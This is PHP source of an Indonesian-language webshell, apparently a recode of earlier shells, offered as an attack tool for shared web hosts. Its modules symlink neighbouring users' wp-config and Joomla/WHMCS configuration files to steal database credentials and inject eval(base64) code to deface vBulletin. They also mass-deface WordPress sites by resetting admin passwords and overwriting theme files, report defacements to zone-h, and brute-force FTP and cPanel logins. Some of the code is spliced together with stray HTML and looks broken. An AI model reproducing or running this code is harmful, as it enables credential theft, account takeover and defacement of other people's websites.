@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Selesai Bro Monggo >></b> <a target="_blank" href="Sad-Conf">Hajar Config</a></font></b>';}
die();
}
/////// Cukup Sampai Disini ya Grabber :( ////////

elseif (isset($_GET['x']) && ($_GET['x'] == 'vb')) {
    if (empty($_POST['index'])) {
        echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By CyberTeamRox</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";
    } else {
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $perfix    = $_POST['perfix'];
        $index     = $_POST['index'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $index     = str_replace("\'", "'", $index);
        $set_index = "{\${eval(base64_decode(\'";
        $set_index .= base64_encode("echo '$index';");
        $set_index .= "\'))}}{\${exit()}}</textarea>";
        $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
        if ($ok) {
            echo "Defaced<br><br>";
        }
    }
}

 elseif (isset($_GET['x']) && ($_GET['x'] == 'wm')) {
    ini_set("display_errors", "0");
    set_time_limit(0);
    @session_start();
    $base_path = dirname(__FILE__) . '/';
    function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
    {
        $ar0 = explode($marqueurDebutLien, $text);
        $ar1 = explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
    function randomt()
    {
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double) microtime() * 1000000);
        $i    = 0;
        $pass = '';
        while ($i <= 7) {
            $num  = rand() % 33;
            $tmp  = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
        return $pass;
    }
    function index_changer_wp($conf, $content)
    {
        $output   = '';
        $dol      = '$';
        $username = entre2v2($conf, "define('DB_USER', '", "');");
        $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
        $dbname   = entre2v2($conf, "define('DB_NAME', '", "');");
        $prefix   = entre2v2($conf, $dol . "table_prefix  = '", "'");
        $host     = entre2v2($conf, "define('DB_HOST', '", "');");
        $link     = mysql_connect($host, $username, $password);
        if ($link) {
            mysql_select_db($dbname, $link);
            $dol  = '$';
            $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
        } else {
            $output .= "[-] DB Error<br>";
        }
        if ($req1) {
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
            $data          = mysql_fetch_array($req);
            $site_url      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='template'");
            $data          = mysql_fetch_array($req);
            $template      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='current_theme'");
            $data          = mysql_fetch_array($req);
            $current_theme = $data["option_value"];
            $useragent     = "Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";
            $url2          = $site_url . "/wp-login.php";
            $ch            = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            $pos    = strpos($buffer, "action=logout");
            if ($pos === false) {
                $output .= "[-] Successful Login<br>";
            } else {
                $output .= "[+] Successful Login<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer0  = curl_exec($ch);
            $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
            $_file    = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
            if (substr_count($_file, "/index.php") != 0) {
                $output .= "[+] index.php Opened<br>";
            } else {
                $output .= "[-] index.php Unable to open<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php";
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            curl_close($ch);
            $pos  = strpos($buffer, '<div id="message" class="updated">');
            $cond = 0;
            if ($pos === false) {
                $output .= "[-] index.php Failed<br>";
            } else {
                $output .= "[+] index.php Failed+<br>";
                $cond = 1;
            }
        } else {
            $output .= "[-] DB Error<br>";
        }
        global $base_path;
        unlink($base_path . 'COOKIE.txt');
        return array(
            'cond' => $cond,
            'output' => $output
        );
    }
    function exec_mode_1($def_url)
    {
        @mkdir('sym', 0777);
        $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $fp = @fopen('sym/.htaccess', 'w');
        fwrite($fp, $wr);
        @symlink('/', 'sym/root');
        $dominios = @file_get_contents("/etc/named.conf");
        @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
        $out[1]          = array_unique($out[1]);
        $numero_dominios = count($out[1]);
        echo "Total Websites: $numero_dominios <br><br>";
        $def                = file_get_contents($def_url);
        $def                = urlencode($def);
        $base_url           = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
        $output             = fopen('defaced.html', 'a+');
        $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
        $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
        echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';
        $j  = 1;
        $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
        for ($i = $st; $i <= $numero_dominios; $i++) {
            $domain       = $out[1][$i];
            $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
            $infos        = @posix_getpwuid($dono_arquivo);
            $config02     = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
            $cls          = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
            if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
                $res = index_changer_wp($config02, $def);
                echo '<td>' . $res['output'] . '</td>';
                if ($res['cond']) {
                    echo '<td align="center"><span class="green">HACKED</span></td>';
                    fwrite($output, 'http://' . $domain . "<br>");
                    $_SESSION['count2'] = $_SESSION['count2'] + 1;
                } else {
                    echo '<td align="center"><span class="red">unsuccessful</span></td>';
                }
                echo '</tr>';
            }
        }
        echo '</table>';
        echo '<hr/>';
        echo 'Total Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br>';
        echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';
    }
    echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/Krypton" target="_blank"><h3 style="text-align: center;">' . base64_decode('S3J5cHRvbg==') . '</h3></a></div><div>';
    if (!isset($_POST['form_action'])) {
        echo '<div align="center"><center><img class="HoverBorder" alt="" src="http://data.whicdn.com/images/109178420/large.jpg";' . $tunisia . '" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';
    }
    echo '<div align="center">';
    if ($_POST['form_action'] == 1) {
        exec_mode_1($_POST['indexadresi']);
    }
    echo '</div></div></body></html>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'zone-h')) {
    $defacer         = 'Krypton';
    $display_details = 0;
    $method          = 14;
    $reason          = 5;
    error_reporting(0);
    set_time_limit(0);
    if (!function_exists('curl_init')) {
        echo "CURL ERROR\n";
        exit;
    }
    $cli = (isset($argv[0])) ? 1 : 0;
    if ($cli == 1) {
        $file  = $argv[1];
        $sites = file($file);
        if (!file_exists($file)) {
            echo "<br><br><center><h1>error !</h1></center>\n";
            exit;
        }
    } else {
        if (function_exists(apache_setenv)) {
            @apache_setenv('no-gzip', 1);
        }
        @ini_set('zlib.output_compression', 0);
        @ini_set('implicit_flush', 1);
        @ob_implicit_flush(true);
        @ob_end_flush();
        if (isset($_POST['domains'])) {
            $sites = explode("\n", $_POST['domains']);
        }
        if (file_exists($_FILES["file"]["tmp_name"])) {
            $file  = $_FILES["file"]["tmp_name"];
            $sites = file($file);
        }
        echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
        if (!isset($_POST['defacer'])) {
            echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
        }
        $defacer = $_POST['defacer'];
    }
    if (!$sites) {
        echo '</pre>';
        exit;
    }
    $sites = array_unique(str_replace('http://', '', $sites));
    $total = count($sites);
    echo "[+] Total unique domain: $total\n\n";
    $pause = 10;
    $start = time();
    $main  = curl_multi_init();
    for ($m = 0; $m < 3; $m++) {
        $http[] = curl_init();
    }
    for ($n = 0; $n < $total; $n += 30) {
        if ($display_details == 1) {
            for ($x = 0; $x < 30; $x++) {
                echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
                echo "\n";
            }
        }
        $d = $n + 30;
        if ($d > $total) {
            $d = $total;
        }
        echo "=====================>[$d/$total]\n";
        for ($w = 0; $w < 3; $w++) {
            $p = $w * 10;
            if (!(isset($sites[$n + $p]))) {
                $pause = $w;
                break;
            }
            $posts[$w] = "defacer=$defacer&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
            $curlopt   = array(
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => true,
                CURLOPT_HEADER => false,
                CURLOPT_HTTPHEADER => array(
                    "Keep-Alive: 7"
                ),
                CURLOPT_CONNECTTIMEOUT => 3,
                CURLOPT_URL => 'http://www.zone-h.com/notify/mass',
                CURLOPT_POSTFIELDS => $posts[$w]
            );
            curl_setopt_array($http[$w], $curlopt);
            curl_multi_add_handle($main, $http[$w]);
        }
        $running = null;
        do {
            curl_multi_exec($main, $running);
        } while ($running > 0);
        for ($m = 0; $m < 3; $m++) {
            if ($pause == $m) {
                break;
            }
            curl_multi_remove_handle($main, $http[$m]);
            $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
            if ($code != 200) {
                while (true) {
                    echo ' [-]Error!....Retrying';
                    echo "\n";
                    sleep(5);
                    curl_exec($http[$m]);
                    $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                    if ($code == 200) {
                        break 1;
                    }
                }
            }
        }
    }
    $end = time() - $start;
    echo 'Done';
    echo "\n\n[*]Time: $end seconds\n";
    curl_multi_close($main);
    if ($cli == 0) {
        echo '</pre></body></html>';
    }
    exit;
} 
 elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
    echo '<br><center><k>WebShell Recoded By NoNameUser</k><br><br>S I R N A Merupakan Shell hasil recode dari shell k2ll33d & Sadness Shell , <br>kemudian ditambahkan beberapa fungsi-fungsi agar shell lebih powerful dan userfriendly.<br>
        beberapa fungsi diambil dari shell yang sudah ada dan selebihnya merupakan kreasi penulis sendiri.<br>shell ini aman dan bersih dari yang namanya Logger meskipun script ini diencode, <br>penulis tidak menyisipkan Logger pada gambar ataupun dalam script PHP ini.
        <br><k>Mail:&nbsp;<a href=mailto:htaccess12@gmail.com>Error Violence</a><br><br><a href="https://facebook.com/errorviolence" target="_blank">Facebook</k></a>&nbsp;</center><iframe width="0" height="0" src="https://www.youtube.com/embed/a3sbfHu-6Fk?autoplay=1" frameborder="0" allowfullscreen></iframe>';
} 
elseif (isset($_GET['x']) && ($_GET['x'] == 'brute')) {
    $connect_timeout = 5;
    set_time_limit(0);
    $submit    = $_REQUEST['submit'];
    $users     = $_REQUEST['users'];
    $pass      = $_REQUEST['passwords'];
    $target    = $_REQUEST['target'];
    $cracktype = $_REQUEST['cracktype'];
    if ($target == "") {
        $target = "localhost";
    }<div align="center"><form method="POST" style="border:1px solid #000000"><br>function ftp_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "ftp://$host");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    function cpanel_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    if (isset($submit) && !empty($submit)) {
        if (empty($users) && empty($pass)) {
            print "<p><b>Error : Check The Users and Password List</b></p>";
            exit;
        }
        if (empty($users)) {
            print "<p><b>Error :Check The Users List</b></p>";
            exit;
        }
        if (empty($pass)) {
            print "<p><b>Error :Check The Password List</b></p>";
            exit;
        }
        ;
        $userlist = explode("\n", $users);
        $passlist = explode("\n", $pass);
        print "<b>[~] Wait ...</b><br><br>";
        foreach ($userlist as $user) {
            $pureuser = trim($user);
            foreach ($passlist as $password) {
                $purepass = trim($password);
                if ($cracktype == "ftp") {
                    ftp_check($target, $pureuser, $purepass, $connect_timeout);
                }
                if ($cracktype == "cpanel") {
                    cpanel_check($target, $pureuser, $purepass, $connect_timeout);
                }
            }
        }
    }
    echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
    system('ls /var/mail');
    echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";
    die();
} elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
    if (empty($_POST['pwd'])) {
        echo "<center><br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $admin     = $_POST['admin'];
        $pd        = ($_POST["pwd"]);
        $pwd       = md5($pd);
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        if ($SQL)
            echo "<br><br><center><h1>Done... go and login</h1></center>";
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'domains')) {
    echo "<br><br><p align=center>Domains and Users</p>";
    $d0mains = @file("/etc/named.conf");
    if (!$d0mains) {
        die("<center>Error : i can't read [ /etc/named.conf ]</center>");
    }
    echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
    foreach ($d0mains as $d0main) {
        if (eregi("zone", $d0main)) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
                flush();
            }
        }
    }
    
} 
elseif (isset($_GET['krypton'])) {
    global $do, $scnya;
    function defacean($scnya){
        $do=$_SERVER['DOCUMENT_ROOT'];
        chdir($do);
        if(function_exists('fopen') && function_exists('fwrite'))
        {
            $script=fopen("index.php", "wb");
            if($script)
            { 
                fwrite($script, $scnya);
                echo '<script>alert("Berhasil Deface :v => index.php");</script>';
            }
            else
            {
             echo '<script>alert("Akses Ditolak")</script>';
            }
            fclose($script);
        }
    }
<br/><br/>
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'wordpress')) {
    if (empty($_POST['pwd'])) {
        echo "<br><br><br><br><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $pwd       = $_POST['pwd'];
        $admin     = $_POST['admin'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $hash = crypt($pwd);
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
        if ($k2) {
            echo '<br><br><center><h1>Done ... go and login</h1></center>';
        }
    }
    echo '</center>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'string')) {
    $text = $_POST['code'];<center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">Krypton</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form>$op = $_POST["ope"];
    switch ($op) {
        case 'base64':
            $codi = base64_encode($text);
            break;
        case 'md5':
            $codi = md5($text);
            break;
        case 'whash':
            $codi = crypt($text);
            break;
        case 'SHA1':
            $codi = sha1($text);
            break;
        case 'urlencode':
            $codi = urlencode($text);
            break;
        case 'md4':
            $codi = hash("md4", $text);
            break;
        case 'SHA256':
            $codi = hash("sha256", $text);
            break;
        default:
            break;
    }
    echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center>';
} 
elseif (isset($_GET['x']) && ($_GET['x'] == 'sym')) {
    @set_time_limit(0);
    @mkdir('sym', 0777);
    error_reporting(0);
    $htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
    $op       = @fopen('sym/.htaccess', 'w');
    fwrite($op, $htaccess);
    echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';
    $target  = $_POST['file'];
    $symfile = $_POST['symfile'];
    $symlink = $_POST['symlink'];
    if ($symlink) {
        @symlink("$target", "sym/$symfile");
        echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
    }
}
 elseif (isset($_GET['x']) && ($_GET['x'] == 'cmsdet')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>CMS Detector</b></p>";
<form action="?sad=echo $pwd;&x=cmsdet" method="post">
<br><br>
if (!file_exists('ag.tmp')) {
        @fopen('ag.tmp', 'w');
        
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
        
        $p = 0;
        
        if (is_readable("/var/named")) {
            $list        = scandir("/var/named");
            $current_dir = posix_getcwd();
            $dir         = explode("/", $current_dir);
            foreach ($list as $domain) {
                if (strpos($domain, ".db")) {
                    $domain = str_replace('.db', '', $domain);
                    $owner  = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                    
                    error_reporting(0);
                    
                    $link = $pageURL . 'pee/' . $owner['name'];
                    
                    cms_add($link, $domain, $owner['name'], "WordPress");
                    cms_add($link, $domain, $owner['name'], "Joomla");
                    cms_add($link, $domain, $owner['name'], "vBulletin");
                    cms_add($link, $domain, $owner['name'], "WHMCS");
                    cms_add($link, $domain, $owner['name'], "PhpBB");
                    cms_add($link, $domain, $owner['name'], "MyBB");
                    cms_add($link, $domain, $owner['name'], "IPB");
                    cms_add($link, $domain, $owner['name'], "SMF");
